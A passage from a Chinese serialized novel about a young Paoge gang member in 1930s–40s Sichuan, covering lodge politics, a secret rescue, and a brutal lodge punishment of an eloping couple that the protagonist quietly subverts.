他懂得了什么是“一碑四牌”,他跟着刘愿平看他们正在整理的《路线设备标准图》,懂得了各种公路标志和号志的含义,警告标志,虽然没有全部跑过,但知道了川陕、川湘、川甘、川滇、川鄂、川康各线的走向。
因方结义的主要货品是走川滇线,周立行跟车的路线也集中在川滇线。公路局的司机疲倦且路况好的时候,便回去副驾驶休息,周立行就能自己开一段路的车。
偶尔遇到一些沿路想要打劫的,周立行便和车队的护卫们一起拿着枪下去对峙,偶尔有一些战斗。
有一天,周立行搬着转向舵,踩着刹车鞋,任呼啸的风吹过脸颊,呜咽在耳边,突然一个瞬间,他好似看到了开车迎面而来、浑身浴血的自己。
这场景,让他连续几晚上做噩梦,醒来却记不得梦里有什么。以至于白天开车的时候,他都有些心神不安。
好在没过多久,堂口发了令,召周立行回去。
*
方结义的堂口一直在扩大,他不仅在成都有个大堂口,还以黑老鸹丧礼时候联络起来的线,在川康各地组建分堂,把原本一千多人的组织,发展到了八千多人。
人多事杂,各种矛盾也会翻倍。
昨日里这家赌博赔光了棺材本,闹着说对方出千必须砍手退钱;今日里那家嫖赌争妓女大打出手;明日里走货出了问题,起了内讧大家扛刀子窝里互砍;后日里谁家的兄弟勾引了谁家的婆娘,被抓住把柄要弄死奸夫□□……
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还有西康夷汉混居地区,不同堂口的民俗协调;还有那堂客内部的婚丧嫁娶、薪响财务,堂口之间的迎来送往、争锋抢地盘,以及和商客、军队、政府机构等各方个面的平衡,都需要方结义去做总决断。
龙头老大不是那么好当的,旁人只看得到他们威风凛凛的样子,却不知道背地里能被多少烦心事折磨。
要说方结义有多忙,众人给出最大的评判标准就是:这一年来他都没有收过新的小老婆了。
等到栀子花再次开放的时候,周立行从公路局被召了回来。
因为是方结义实在忙的分身乏术,堂里的各位爷也是事务繁多,他需要有个信任且有本事的人,能跟着邢五爷出去巡一次分堂,杀鸡儆猴处置一些人。
周立行风尘仆仆地赶回成都,先去了一趟堂口,接了方结义的令。
曾经的小跟班谷娃儿和石娃儿还是那么热络,殷勤地从茶馆打了几瓶热水,嘘寒问暖地跟着周立行一起回到了黑老鸹留下的小院。
回了家,周立行沏了茶给两个小弟娃,“说吧,有什么事?”
他看出来这两人有话要说。
石娃儿要憨直些,张口就道:
“喜雀姐前段时间来找过你好几次,见你一直没回,就去找了方大爷,不知道是什么事情,方大爷给拒了,她哭着从堂口走的……”
谷娃儿则显得有些犹豫:
“大爷说让我们当这事儿没发生过,别跟你说……可是我们俩想着吧,你一直都关心喜雀姐,走之前跟我们交代过多关照她,所以只能私下悄悄来跟你说……你可别让大爷知道是我们讲的啊……”
周立行微微皱眉,他点头,“放心。谢谢你们,我单独给你们带了些云南的特产,待会儿你们拎回去孝敬下父母。”
谷娃儿和石娃儿欢天喜地地抱着东西走了,周立行则是先兑了些水清洗了全是灰尘汗渍的身体,上床先睡了一觉。
约莫三个小时后,天色黑尽,他才起身穿上干净的新衣服,悄无声息地摸出了门。
*
卧室里,王喜雀愁眉苦脸地坐在床边,孙婆子哭哭啼啼坐在踏脚凳上哭,一屋子悲惨的气息。
“我就这一个儿啊……他要是出啥子事,我还啷个活啊……喜雀太太,还能不能再想想办法啊……你要是能救我儿,我这辈子给你做牛做马,我以后就是你的人,你杀人我递刀,你偷人我守门,我们生死与共……”
王喜雀哭笑不得,往日里只觉得这孙婆子尖酸刻薄,没想到她还能如此大逆不道,“别乱说……”
“真的吗?她偷人,你守门?”
一道颇为戏谑的男声从房梁上传来,吓得孙婆子惊叫唤,满地乱爬地喊着闹鬼了闹鬼了。
周立行从房梁上跃下,几个月公路上日晒雨淋、风餐露宿让他又恢复了一些野性,他的肤色变黑了许多,眼神却依旧那么冷冽,此刻还带着几分笑意,颇像是一只狩猎归来的骄傲猞猁。
王喜雀也被吓了一跳,花容失色,下意识地往枕头底下摸她的手枪,拿起来便是一个对准,然后才发现是周立行。
“弟娃!”王喜雀先是惊喜,然后是薄怒,她收起枪,凶道:
“你咋从房梁上翻下来!吓人得很!”
周立行无奈地摸摸头,知道自己耍帅不成,凡倒是把人吓着了,赶紧道歉。
“对不住……我今日下午刚回成都,晓得你之前找过我,但堂口不准别人告诉我,我猜多半是不想我来找你。”
“我怕你有急事,心慌着早点来……可这大晚上的,我不能光明正大来敲门……”
周立行这话说的坦诚,可王喜雀听着却觉得莫名有几分调戏,她脸一红,把枪收起来,轻叱道:
“你的本事我知道,你明明就可以进院子,再悄声敲门。现在你倒好,翻进我睡觉的地方了,小弟娃出去一趟,学坏了!”
周立行摸了摸鼻子,跟着脸红,他到院子的时候听到王喜雀房里有哭声,一时间没想那么多。
孙婆子这下反应过来来人是谁了,立马就着匍匐在地的姿势给周立行来了个五体投地的磕头大礼:
“立行小兄弟!求你快救救我儿子吧!老婆子给你守门……”
“停!”周立行一个头两个大,态度立马和王喜雀一致,“别乱说!”
35.成都
被孙婆子说的就跟周立行是专门半夜来私会王喜雀一样,周立行羞窘脸红,不知所措。
王喜雀倒是扑哧一笑,“孙婆,那你就去守门吧,我跟弟娃说说,看有没有什么办法能帮到你。”
孙婆子二话不说,脸都不往他俩那边扭一下,起来就往门外走,屁颠屁颠去院子里守门去了。
卧室里没有多少家具,周立行自来熟地坐到梳妆柜前,拿起一根王喜雀的簪子把玩,听王喜雀说到底发生了何事。
原来是孙婆子的儿子木铜铃,学的是裁缝手艺,留在家乡云南昆明的一家裁缝店里做活儿,正是十八九的年纪。
孙婆子生了四女两男,养大的却只有一女一男,姐姐十五岁嫁人,十六岁生孩子难产死了,现在只有这一个独儿。
她之所以从云南跑到成都来当管家婆子,是因为她老公前几年死了,但是木茶商作为老公同宗亲戚帮了忙,把她儿子送去学裁缝;她为人比较忠心,木茶商便把她送出来监管自己在外面的小老婆。
她前一任监管的不是王喜雀,而是浙江那边的,因那边的小老婆怀孕生了儿子,木茶商觉得那小老婆彻底安稳了,便让她回成都来监管王喜雀。
来之前,木茶商说他见过王喜雀同房完之后要偷偷喝药,多半是不想给他生孩子,没孩子的女人等于没养熟。
他让孙婆子一定要想办法看住王喜雀,一是不能红杏出墙,二是搞清楚她是不是在喝避子汤。
孙婆子并不是聪明人,她自认为自己亡夫是木茶商同宗的人,沾着亲,又是奉命前来,于是刚来到的时候姿态摆的足足的,那架势就差点没把自己当婆婆妈看了。
然而王喜雀也不是什么省油的灯,当年她也是做大管事的,岂能让你一个后来的婆子把她当小媳妇管?
二人好一番明争暗斗,互不相让,闹得院子鸡飞狗跳。
二人关系的缓解,还是因为上次周立行救了她们。
后面黑老鸹受伤,孙婆子颇为自责,让王喜雀看出孙婆子只是颇为凶悍,但并不恶毒。
这之后,王喜雀主动释放了善意,她私下托人打听到孙婆子的家人状况后,便坦白地跟孙婆子说,自己确实在喝避子汤,不愿意怀孕时因得小时候见过难产而死的小姑娘,心中害怕,所以不敢生。
孙婆子听了这番话,想到自己难产去世的女儿,悲从中来,陪着王喜雀哭了好大一场。
王喜雀又解释自己本就是被强娶的,但是这辈子都这样了,也没什么其他的想法。
总之,孙婆子对王喜雀态度和善了许多,也没有把避子汤这事儿告诉木茶商那边,反而是遮掩说王喜雀月经不调,喝药是为了调理身体的。
于是,二人的关系变慢慢正常起来。也不能说王喜雀有多信任她,但大家不敌对,她才能偶尔摆脱孙婆子的日夜跟随,方便私下做些其他事情。
这回的事情,是从木铜铃那里惹出来的。
木铜铃在裁缝铺里干了这些年,手艺也是学了几分。他聪慧好学,分解了一些西洋裙子的制作方式,裁缝铺也颇为重视他,便带他去上门为那些大家族的小姐们做这些洋气款式的衣服。
一来二去的,有个大户人家的小女儿跟他熟悉起来,前前后后找他做了十来条各色的西洋裙子,而后,婆子从新送来的裙子里,搜出一封木铜铃写给小姐的信。
那信里,本是木铜铃自言出身微寒、身无分文,不敢担小姐厚爱之类的话语,而这信里的内容不知为何被传了出去,莫名其妙的变成木铜铃瞧不起那小姐。
云南之地民风开放,长期和各民族混居,对男女看对眼的事情并不如中原大地那么严防死守然。
那小姐到没啥,在家哭了几天便罢了。
可那小姐的哥哥觉得伤了掩面,当即伙了一群人,把木铜铃从裁缝铺里拖出来打得浑身是血,昏死在路边上,他们还叫嚣谁敢收治就打谁。
好心的裁缝铺老板晚上才敢去大街上,悄悄把木铜铃给接回去藏起来救治。
哪知道那小姐的哥哥十分蛮横,直接打砸了裁缝铺,还找到木茶商问他是保这个小裁缝,还是保他的茶叶仓库。
哥哥说他随时可以一把火烧了那仓库。
木茶商自然是保自己的茶叶仓库,他觉得木铜铃自作自受,拒绝人还要写到纸上给人看到,真是愚不可及,自己作死。
于是木茶商让裁缝铺老板交出木铜铃。
裁缝铺老板知道把人交出去,铜铃必死无疑。
他心中不忍,于是表面上答应了,实则找人直接带着木铜铃跑路,让人捎他去成都找孙婆子。
回头,他便说自己裁缝铺被砸的时候,木铜铃已经自己逃了。
木铜铃一路颠簸,好在送他的人很负责,加之他本人命大,送到成都成功见到了孙婆子。
孙婆子听完原委,吓得大哭一场,求着王喜雀把木铜铃养在宅子里。
王喜雀本就心善,心里也是可怜他。当即收留了木铜铃,还请了医生替他医治一些暗伤。
这些都是周立行外出学车的时候发生的事情,王喜雀讲完前情,才开始说现在。
“我这院子里,肯定还有木茶商的眼线。我们收留木铜铃的事情,被传到了木茶商的耳里,他前些日子送信给了忠义堂,请忠义堂把铜铃给抓了送回云南去。”
“先停一会儿。”周立行皱着眉头,“你那药,对身体有没有损害?”
王喜鹊一顿,心中翻起一股酸涩,莫名地,她不想欺骗眼前这个真诚的弟娃。
“是药三分毒……肯定多少是会的……”
“……”周立行咬紧了腮帮子,有很多话在心里转圈,他想劝王喜鹊不要吃药,可是喜雀不愿意怀仇人的娃,这本就是两难,他又能做什么呢?
“姐,你继续说那个木铃铛吧。”
王喜雀很愁,“忠义堂上门把木铜铃给带走了,孙婆子怕铜铃回去便没了小命,各种哀求我。我想找你,你不在,我便去找方大爷,想说能不能出钱把铜铃买回来……方大爷说他必须守江湖道义,不能应我,他也觉得铜铃是自作自受,辱了人家小姐名誉……”
周立行默默听完,觉得这事儿并不难办。
“所以,我只需要把木铜铃给救出来就行,是吗?”
王喜雀双眼一亮,喜于形色,转即又想到什么,担忧道,“你现在是堂口的刑纲,你去放人,怕也是要被责罚……”
周立行笑了,两颗尖尖的小虎牙调皮地露了出来,“谁说我要光明正大去救呢?咱可以偷偷的嘛。不过,人救出来,你们准备往哪里送?”
王喜雀想了想,答道,“还是去重庆吧,青竹叶在那边
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,大家都是苦命人,能有个好照顾。”
说完,王喜雀也小了,她打趣道,“铜铃这孩子长得端正,脾气也柔和,年岁和知书知礼也差不多,要是万一哪两个人看对眼,那还是一桩好事呢!”
周立行不高兴地哼了一声,“端正?多端正?”
王喜雀莫名其妙,突然意识到什么,又笑了。
“哎,那肯定比不上你呀,他那叫端正,你呀,叫俊秀!有胆有识,有情有义,英俊神武!”
周立行听得心花怒放,挺起自己愈发宽阔的胸膛,豪情万丈道,“包在我身上!”
他细细和王喜雀商量了一番,救人容易,送人走难。晚上成都宵禁重,城门也关了,这个时间是不妥的。
只能是白天,想办法救了人得迅速送出成都城才行。
周立行想到的,是搭川渝间的货运车。当初他和黑老鸹便是坐汽车回来的,如果他在公路局里干了一段时间,私下熟悉的货车司机较多。
而且,载人的车好盘查,载货物的车反倒因为关系比较深,嫌少遇到什么纠缠。
事不宜迟,周立行决定明日便找货车司机,最好是后日便能把人救了。
万一再迟一些,木铜铃被往云南一送,他便不好救人了。
王喜雀把孙婆子叫进来,告诉她:
“立行兄弟答应了帮忙,他会亲自去救人,能不能成不敢保证,但立行兄弟是要但着风险的。”
孙婆子又是抹着眼泪要跪,被周立行给扶住了,她声音哽咽,千恩万谢。
“孙婆,咱们丑话得说在前面,无论是打点人脉、购置车票还是其他,钱得你出。”王喜雀认真道。
孙婆子自然是答应,“您说个数,若是不够,我去当去借,定都凑起。”
周立行见孙婆子这样耿直,回答道,“看在喜雀姐的面子上,我用了多少再告诉你。”
“我们想若是能把铜铃救出来,便就送到重庆去。我有个娘家姐姐在那里做生意,可以收留他。”
王喜雀嘱咐道,“我们肯定是被人盯着的,若是铜铃能脱险,你这一两年里都不能轻举妄动,等什么时候合适了,你再借病脱身,到时候去重庆和铜铃一起生活。”
孙婆子这下更是感激涕零,“喜雀,以前都是我不好,给木茶商那个狼心狗肺假仁假义的东西做事,以后你就是我亲闺女,我对你好!”
周立行认真地问孙婆子,“你真能把喜雀姐当亲闺女?”
孙婆子擦干泪水,“我这般说,你们可能会以为我是逢场作戏。以后日子还长,我可以证明自己的。”
周立行点点头,从怀里掏出一个雕花精美的小木盒,放到王喜鹊的妆台上,清了清嗓子,“喜鹊姐,我去了一趟云南,这是给你带的礼物。”
说完,也不等王喜雀推拒,直接向王喜雀和孙婆子抱了个拳,然后乖乖从房门出去,翻墙走了。
第二日,周立行如自己计划的那般,先去堂口关人的地方溜达了一圈,确定了木铜铃还在,然后便去车站找熟人,在钱财和义气的综合作用下,非常顺利地同货车司机搭上了线。
第三日,周立行信心满满,摩拳擦掌,准备救人。
他找了理由把守着木铜铃房门的人支开,进门去一看!
里面坐着的,是好整以暇的方结义!
36.成都
周立行自以为自己事情做得隐秘,然而,他并不知道,方结义早就织好了陷阱等着他呢。
方结义能当一个几千人堂口的总老大,自然不是无能之辈。
他如今的地位,可不全是靠拳头拼来的。
换而言之,方结义看起来像是个好女色的老白脸,但他绝对不会是一个愚蠢的男人。
“弟娃,找谁呢?”方结义单腿架在另一只大腿上,一手拎着茶壶晃来晃去,故意问道。
周立行有那么一秒瞳孔收缩,但他面上表情丝毫未变,沉稳地回答:
“方大哥?怎么是你?这里不是关的那个什么木铃铛吗?我来瞄一下撒。”
“是瞄一下,还是帮一把?”
方结义笑了,他发现周立行的心理素质着实是好,若是堂口里其他人冷不丁被这样诈一下,大部分都会慌乱,少部分甚至直接吓破胆开始求饶,而眼前这个弟娃,却是面不改色,平静得好似他真的就是好奇了,来看一看一般。
周立行歪头,心中琢磨了下,跟着笑了,他晒黑了许多,笑起来有点像只犯错后故意撒娇的猫。
“瞄一下看值不值得帮咯,值得帮,就去找你求情;不值得帮,就算球。”
要不是方结义知道周立行已经联系好货车司机,他相信自己绝对会被骗过去。
看看,这弟娃说的好真诚,这七分真三分假的,谁能看得出来。
“没骗我?”方结义气笑了,他倒是想看看,周立行会编到什么程度。
然而周立行已经从方结义的态度里,看出了些什么。
“那要看大哥骗没骗我了。”
周立行大大方方地走过来,拖过凳子坐到方结义面前。
“毕竟黑老鸹说了,我得学会日白,不然以后讨不到婆娘。大哥的婆娘多,想来骗人是很有经验的。”
方结义被反将一军,咳嗽了一声,表情有些不自在,“谷娃子石娃子跟你讲的?”
周立行叹气,明白了,方结义肯定是故意让谷娃子和石娃子知道这事儿,就等着跟他上套呢。
“大哥,你到底想干啥?用这种事情考验我?”
被戳破心思的方结义收起了面具,他脸上的表情慢慢变得肃穆。
“行善,我这段时间经常做梦,梦到枪炮声震耳欲聋,四周是尸山血海。”
周立行咻地站起来,“打住!我不听,我走了!”
他像是被戳到痛处的丧家犬,立马想要逃离。
他也在做梦,然而他梦到的是滇西,横尸遍野,恨意滔天……
方结义一把拉住周立行,“弟娃,我的弟弟。听我说完……我感觉我不会在四川待太久了,我肯定会带人出川的。”
听到出川,周立行松了力气,他缓缓坐下,却绷紧了身体。
黑老鸹回成都的目的,仿佛就是死在这里,然后让他生前所有的关系网再度回到方结义的手中,这一切……都是为了出川。
黑老鸹出不去了,方结义是必然要出去的,为了师父,也为了他自己的信念。
他说过,只怕自己死的不轰轰烈烈。
“你如果没回来,我肯定早按江湖道义办,把这木铜铃送回去。毕竟木氏茶商不是只和我们一个堂口合作,得罪他对我没好处。”
方结义坐端正姿势,向周立行坦诚以待。
“但是王喜雀找过你,也找过我。我想着你,就犹豫了,迟迟没把人送走。等你回来,我又想看看,王喜雀会不会找你,而你,会不会帮她。”
“这世界上大部分的人,爱一个人是很短暂的。比如我就是个花心的浪荡子,我重情义,但我很难长时间喜欢一个女人。我知道有的人不一样,比如你,有痴情汉的样子……”
“如果你要帮她,那你就得欠我人情。行善,你得欠我人情。”
方结义神情严肃到透露出几丝哀戚,他坦诚地说出自己内心的考量,不再逗弄周立行。
周立行非常不解,甚至觉得有点受到侮辱。
“大哥,不管你需要我做什么,我都会去办。你何必要让我欠你人情?”
方结义苦笑,“那你为什么不直接来找我求情,而是要偷偷来放人?”
这下换周立行噎住,他想了想,感到一丝愧意。
“我怕让你难做……这堂口虽是你的堂口,可我日常也看着,其他几位爷并不是那么心齐……”
“是的,你懂,这件事放在堂口的公务上,必然别人会有杂音。你不想我难做,但是你还是想帮王喜雀。”
方结义拍了拍周立行的肩膀,“哥不怪你,你是想一个人扛了,我懂。”
周立行咬着牙不说话了,方结义这话坦诚,却也是故意拿情义在压他。
“可是弟娃,我需要你欠我人情。我知道你忠心、善心、爱帮人,我知道你有原则、知对错,认定的事情不会受人影响。”
“所以我更想要你欠我人情,这样我出川了,哪天死在战场上了,才敢闭上眼睛。”
方结义抓起周立行的手,“这不是我以龙头老大的身份说的,这是以我个人的身份,你师兄的身份说的。”
周立行生气地想要甩开手,可他又忍不住想起黑老鸹死前,也是这么抓着他的手交代遗言,便生不出力气。
他的声音变得嘶哑,几乎要说不出话来,“你需要我做什么,说吧!我岂止欠你这个人情,你给我容身之地,给我吃穿银钱,教我为人处世,送我学技艺……我欠你那么多,一定会还的。”
方结义点着头,半晌才说出来,“你不要跟着我出川,你留在这里,留在后方……”
周立行突然反应过来,方结义说不要他跟着出川抗日。
到这一刻,周立行才突然意识到,他是想跟着方结义走的。
他练枪,学驾驶,其实潜意识里是认为自己也会去抗日的。
这下,周立行傻了……他得留在后方了?!
他不能亲自去给黑老鸹报仇了?!
“答应我,你答应我啊。我出去,肯定是回不来的了,你还得每年清明给黑老鸹烧纸啊……”
方结义见周立行一脸震惊,这才意识到周立行又没闹明白自己平日表现的样子意味着什么。
周立行每天都没有停下练武,学枪,学开车,明眼人都看得出他喜欢王喜雀,他却忍着不去沾染,怎么看都是在给上战场做准备。
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当孤家寡人,生死无牵挂。方结义看得心中害怕,他想找个机会把周立行留下来。
他可以带着上千号兄弟去赴国难,却又莫名地想要留下小师弟活着。
“你留下,每年给黑老鸹上坟,照管下我的女人孩子,替我看着堂口……”
周立行沉默了良久,沉默到空气中的呼吸声都有些颤抖了,才默默地点下了头。
他知道,方结义要履行照顾他的诺言…战场生死难料,方结义想让他活着。
不管给出的理由是为了黑老鸹,还是为了他那些没成年的孩子,亦或是什么堂口,最本质的都是想让周立行活着,远离危险。
他怎么能,怎么敢,怎么找得到理由,去拒绝。
*
方结义让周立行带走了木铜铃,那小子个子不高,瘦瘦弱弱的,看起来相貌端正,但十分呆头呆脑。
见周立行拿着他母亲的银镯子,说是接了母亲委托来救他的,木铜铃立即跪下去砰砰的磕头,颠三倒四地感谢,半天没说一句顺畅话。
周立行被方结义那一番谈话闹得满心迷茫,干脆准备亲自送这个矮个儿瘦弱小裁缝区重庆。
这番重庆之旅目的明确,周立行没有任何耽搁,他把人交给青竹叶,告知了黑老鸹的死讯,又看望了一下知书知礼两姐妹,然后等木铜铃还有知书知礼两姐妹写了一封长信,带回了成都。
收到回信的王喜雀非常欢喜,送给周立行一双她亲自做的布鞋。孙婆子也非常守信地给周立行足额的银钱,还附赠了几双她亲自纳的鞋垫。
周立行见王喜雀的手腕上,换上了他送的翡翠绿镯子,难得地露出笑脸,莫名地觉得十分的开心。
孙婆子眼观鼻鼻观心,她什么也没看出来,什么也不知道。
周立行往返一趟重庆,便又耽误了几天,等他回到堂口,便立即被方结义打包塞给了邢五爷一行人,带着出去巡查分堂了。
邢五爷在堂里挑了三个顶尖好手,再加上周立行,一共五人,就这么上了巡视分堂的路。
他这些年依旧没有儿子,过继来的三岁小儿,过年的时候因为一场高烧死了,这对他来说打击很大,以至于这些时日做事都心不在焉的。
方结义让他出去巡分堂,一是让他带一带周立行,为进五排做准备,二也是让他出门散散心。
见到周立行之后,邢五爷想起当初黑老鸹说的话,唉声叹气了一阵,他跟周立行说自己要收收手,积点德,这次出去要是遇到什么必须处死的情况,他就不动手了,让周立行来。
周立行皮笑肉不笑他以自己当过和尚为由,表示抓人可以,打人可以,杀人的事儿,他不参与。
邢五爷听得直乐,“坏人恶人也不杀?巡堂不除败类,你巡个叼啊!”
周立行沉默了半晌,闷声回答,“我想给方大哥积点德,保佑他能从战场上回来,不行吗?”
邢五爷一噎,这话压得他开不起腔了,只得自个儿嘀咕。
“说得跟谁不想积德一样,上战场还不是不一样要杀人……算了,看情况吧,巡分堂嘛,能不动刀就不动刀……让犯事儿的自己跳崖、自己跳江、自己挖坑埋自己呗!”
37.巡分堂
邢五爷带着周立行等人,从成都出发,挨着分堂一个个巡视过去。
周立行跟着出来才知道,这巡分堂,不仅仅是走自家堂口,竟然还带着方结义亲自写的宝片,拜会各地的本地大堂口公口。因堂口公口大都是在水运繁花的城镇,所以俗称拜码头。
这下周立行更是感受到了方结义的才能和用心良苦。
这一番走下来,除败类,杀鸡儆猴是必然的,同时可以让他们了解到各地的堂口势力,同时邢五爷还会在觥筹交错中,探一探他们对分堂的态度。
周立行明白了,这一趟走下来,对他一定受益匪浅。他得好好看,好好学,弄明白更多的行事方式。
日后若是方结义走了,他…才能真正在忠义堂里立得稳。
*
才走出成都没多远,刚到第一个分堂——新津县码头上的一个旧堂口,之前的老堂主是黑老鸹的故旧,因子侄都去读书了不嗨袍哥,索性退位让贤给方结义去一并管理。
邢五爷一行人到的时候,时间赶的恰恰巧,正遇到这分堂请关圣,审“奸夫□□”。
红烛红香,关圣像前,一男一女被绑来跪着,另一边苦主正在慷慨陈词。
邢五爷等人一到,立即被请了上座。
周立行等四人也称了座上宾,他们全部坐在邢五爷的右手侧,除了周立行,个个硬起一张脸,做出凶神恶煞的姿态。
周立行见大家都那么严肃,便也学着拧紧眉头,盯着那男人,听他陈述。
“既是总堂的各位爷来了,我便再说一遍!”
那苦主袍哥口中全是鄙夷,“这个贱人,找了奸夫生孩子!”
邢五爷唔了一声,黑脸上看不出情绪,问话的重点倒是走偏了。
“生的男娃还是女娃?”
“男娃。”
邢五爷心中暗评,那他们还挺会生,不像自己,九个女儿了还没见个儿子。
“你如何说孩子是奸夫的?你捉奸在床了吗?就算是,你也不能断定孩子的出生撒。”
邢五爷不解地问道。
那袍哥昂着头,不以为耻地回答,“因为我没跟着婆娘圆过房!”
同时响起的,还有那女人凄厉的笑声,“因为他是个天阉!鸡儿比蚕儿还小的废物!”
那袍哥冷笑,“是啊,那又如何?我出了彩礼买你的,你就该给我守活寡!”
周立行大为震惊,没想到竟然有人能开堂,当着关圣神像和几十号兄弟说自己不行!
女人呜呜地哭着,骂着,“你没种!你不是个男人!你活该!”
“我怀不了孩子,你家姑嫂天天对我辱来骂去,你家妈常年拉偏架,动不动就打我!你不闻不问,把我当个奴才使!”
“我要是做工的,我早跑了!!”
“你们不放我离婚,我自个儿找有用的男人!我有什么错!这个才是我丈夫,才是我娃儿的爹,才是我名正言顺的男人!”
“你个烂心烂肺的杂种,我怀着娃儿的时候你咋不闹?现在娃儿生了,我们拿着钱来跟你离婚,你才跑来堂口告状,你算什么东西!”
四周一片按捺不住的喷笑,那被骂的袍哥怒火中烧,上前给了女人一巴掌,打得女人鼻血横流。
一旁跪地的男人扭动着扑上前,将自己的身体压在女人身上,挡住了袍哥的拳脚相加。
惨叫和闷哼响起,四周的人不笑了,却皆在冷眼旁观,好似这袍哥真的有权利可以打杀他名义上的老婆一样。
周立行看不下去,径直站起来,上前一把扯开那袍哥。
邢五爷见状,心觉周立行多半是物伤其类。
啧,那正好,趁此机会,也给周立行一个警醒。
“身为人妻,勾引奸夫,还生下孽子,确实犯了袍哥堂口的忌讳。”
邢五爷一锤定音。
“哎,五爷,娃儿才出生几个月,那是无辜的。我这个人心不坏,娃儿我就要了。只要这奸夫□□死了就行。”
那男人一副得意的样子,嘴里说着漂亮话,眼神却是炫耀的。
周立行的手指头微微蜷缩,按理说,这个时候他不应该开口。
可是,他确实物伤其类了,他想到了王喜雀。
“五爷,我记得,总堂主说过,奸夫□□也不一定都得死。”
周立行向邢五爷拱手,搬出了方结义的规矩。
“奸夫愿意出钱给苦主新娶一个老婆,或者□□愿出双倍彩礼归还的,只要苦主愿意谅解,就可以打一顿再放人。”
方结义自己一院子女人,不晓得有好些是别个跑了的婆娘。
于是他自己在总堂改了规矩,学了夷区的一些习俗,其中关于奸夫□□的这一条,还是以前黑老鸹给他透露的。
邢五爷没想到周立行竟然知道这个,只能咳嗽两声,顺着话题问过去。
“那……苦主可愿?”
没想到那袍哥心眼和鸡儿一样小,竟是非置对方二人于死地不可。
“我不愿!当时我买她,才一块银元。给我两块银元?哈!两百银元我也不要,我有儿子了,还需要什么女人!让她死!”
那袍哥神色变得阴狠,他没想到总堂来的人,竟似乎是要包庇这个□□。
“哥老会无论哪个堂口公口,黑十款和红十条,都是要毛了奸夫□□的。”
周立行和那袍哥对视,他比那袍哥还要高一些,心中的不悦已经浮现到了眼中。
“大凉山小凉山,滇东地区,怎么没有?双倍彩礼,别说堂口了,有人作保,上千人的家支都能同意离婚!”
那袍哥被周立行盯着,莫名其妙觉得脊背发寒,他错开视线,却坚持道,“那也得苦主同意!”
“我不同意!我只要他们死!”
邢五爷可不是什么善心人,他没那个闲心为这种清清楚楚的事实扯皮,当即拍板:
“按规矩,放河灯。请香,摆酒!”
对“奸夫□□”,按规矩可以“荡扁担”、“沉塘”和“放河灯”。
“荡扁担”是两个人一起吊死在一根杆子上,“沉塘”是两人一起绑上石头赶进池塘里。
这两种都必死无疑。上吊的,刑纲们会守着等奸夫□□死了,把尸身送去下葬。沉塘的也会去捞出来,确定死绝了,才就地掩埋。
而放河灯,则是把奸夫□□的四肢都用钉子钉在门板上,放到河里去,让他们顺水漂流,生死由命。
周立行听邢五爷那边说,心中明白,邢五爷已经是在能力范围内,选了一个稍微有点希望的结局。
而自己想不想救人,有没有本事救人,邢五爷就不管了。
听完邢五爷的决定,那女人也不哭了,依偎在她男人身上,高昂着头颅,一副不屑生死的样子。
那男人也是一脸平静,没有什么愤怒或者不甘,两人就这边被束绑着靠在一起,确实像一对一对真正可以同生共死的恩爱夫妻。
“大姐,你怕死吗?”周立行蹲到被反绑双手按跪在地的女人身边,平静地问道,好似只是有些好奇。
那女人从头到尾一直在怒骂
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前夫,此刻累了,但眼神依旧愤怒,她沙哑着声音,回答道:
“死就死,谁还没个死了!没种的玩意儿才怕死!没种的玩意儿才抢别人家的种!”
围观的袍哥们又有些憋不住,一边佩服这婆娘的脾性,一边忍不住偷笑,气得那前夫脸上发青。
周立行盯着那女人怒意尚未燃城灰烬的眼眸,看了一会儿,他忍不住把这神色代入到王喜雀眼中,瞬间觉得心脏紧缩。
然后他又问那个“奸夫”,“你呢?怕死吗?”
那“奸夫”长得浓眉大眼,高额方颌,从头到尾没有过任何求饶的话,倒算是条汉子。他见周立行年岁小,口气也没有嘲讽之意,心中没有太大排斥,便回答道:
“做错事就认,该杀头就杀,没啥大不了的。再说,豆花这么好的婆娘,我这辈子遇到她,死也值了。”
周立行心中的郁气消散了,果真患难见真情,他觉得,这对夫妻还是值得费心的。
于是他点头道,“既然两个都不怕死,那就我亲自动手嘛,行不行啊,五爷?”
说话的时候,他还腼腆地笑了,“我还没往人身上钉过钉子呢,难得有机会,给我练练手撒。”
邢五爷觉得有趣,他猜到了什么,想了想,毕竟是老大的弟弟,黑老鸹的徒弟,便假装啥也不知道。
他挥挥手,回答到:“可以,给你练手。”
那青脸的前夫总算是放下心来,心想新手动手肯定更遭罪,他到时候再找人在下游跟着,要是木板漂上岸,就给翻个面直接淹下去。
是夜,月明星稀。
周立行当晚去了下游的码头,联系好船夫,又回住所,将第二日要用的铁钉,先烧红冷再用白酒消过毒。
第二人,大河边,分堂找了个人迹罕至的地方,开始行刑。
放河灯,是一个及其残忍的刑罚。
周立行作为刑纲,需要亲手把长铁钉,钉穿那两人的身体,钉到木板上,让人动弹不得。
他的手很稳,钉的是虽然穿过皮肉,但不伤血脉和骨骼的地方,那对夫妻的惨叫和哭泣萦绕在耳边,也未曾撼动他分毫。他把两人钉在了木板上,亲自放入了河水里。
在推离水面的时候,周立行轻声嘱咐了一句,“大难不死,必有后福。”
河水滔滔,送走了一对苦命鸳鸯。
*
邢五爷带着手下在新津县没待几天,远在各地的分堂众多,他们还得继续往外走。
周立行那几天没有任何异动,平平稳稳都跟着邢五爷到处打棍子。
直到在离开的前一晚,周立行没有惊动任何人,自己孤身一人潜入那男人家中。
他手指沾上蜂蜜,塞给婴儿吸吮,便无声无息地偷走了婴儿。
然后,他在月色下,背着婴儿,疾行二十多公里。去下游的船帮之人的家中,把婴儿交给了亲生父母,并留下了了一些钱财。
“前几日迫于无奈,伤了你们,这是歉礼。”
周立行如是说道,“莫要推拒钱财,你们要走得远远的,换个地方,有钱才能落下脚跟,好好生活”。
那对男女抱着孩子下跪磕头,两夫妻哭得情真意切。
“恩公!我孟家柱和乔豆花两口子,一辈子记你的恩情,逢年过节都给你烧香磕头!”
“恩公,好人好报,你一定逢凶化吉、长命百岁,你积德行善,后人一定能受老天爷照管……”
周立行喜欢乔豆花的祝福,他伸手摸了摸那奶娃儿胖嘟嘟的脸蛋,转身消失在夜色里。
38.巡分堂
邢五爷知道周立行肯定是做了什么,但他不问,也不想知道。
只要周立行做得干净,不被人扒到短处,邢五爷就可以当什么都没有发生过。
这一行人,继续往川西方向走。
越往前走,越是发现,这各分堂各种纠纷竟是比总堂的还多。
这些分堂大部分是由一些嗨不下去的小堂口投奔而来,还有一些是黑老鸹的故旧老人交托的。
有的分堂固定人数不多,有比较完整的排位存在,总堂只需派人去的当分堂舵把子,也称分堂主,这一类堂口的纠纷主要是陈年旧怨。
